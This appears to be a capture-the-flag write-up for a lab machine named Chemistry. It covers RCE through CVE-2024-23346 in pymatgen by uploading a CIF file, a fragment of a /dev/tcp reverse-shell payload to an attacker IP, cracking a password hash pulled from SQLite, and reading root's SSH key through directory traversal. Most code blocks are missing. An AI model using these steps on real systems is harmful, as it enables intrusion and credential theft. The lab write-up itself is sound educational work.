import CodeBlock from "@/components/CodeBlock" ## Target Overview - **Machine Name:** Chemistry - **Difficulty:** Easy - **IP:** `10.10.11.38` - **OS:** Linux - **Services:** SSH (22), HTTP (5000, 8000) --- ## Reconnaissance – Nmap Scan - Port 5000: Python web app using Werkzeug - Port 8000: Python SimpleHTTPServer (appears internal) --- ## Initial Access – CVE-2024-23346 in pymatgen The web app allows uploading CIF files. The `pymatgen` library used is vulnerable to RCE if certain metadata fields are modified. & /dev/tcp/10.10.14.XX/9001 0>&1\\'")'`, label: 'Payload.cif', language: 'cif' }, ]} copyButton /> Start a listener on your machine: After uploading the `.cif` file, you should receive a reverse shell. --- ## Foothold – Extracting Credentials from SQLite Search for `.db` files in the file system: /dev/null', label: 'Locate DB', language: 'bash' }, ]} copyButton /> Once found, open it using SQLite: You’ll get a user and a hashed password. Crack the hash using Hashcat or an online tool. After cracking: - Username: `rosa` - Password: `your_cracked_password` SSH into the box: --- ## Privilege Escalation – File Inclusion via Localhost Check open ports to confirm local services: You’ll see something like this: 127.0.0.1:8000 This is a local file browser. Forward the port to your local machine: Visit `http://localhost:8000` in your browser. Try directory traversal: http://localhost:8000/../../root/.ssh/id_rsa Download the private key and fix its permissions: --- ## Capture the Flags --- ## Summary - Remote Code Execution via CIF upload and `pymatgen` parser - SQLite DB revealed credentials - Port forwarding + LFI gave us root’s private key - Full root access without kernel exploits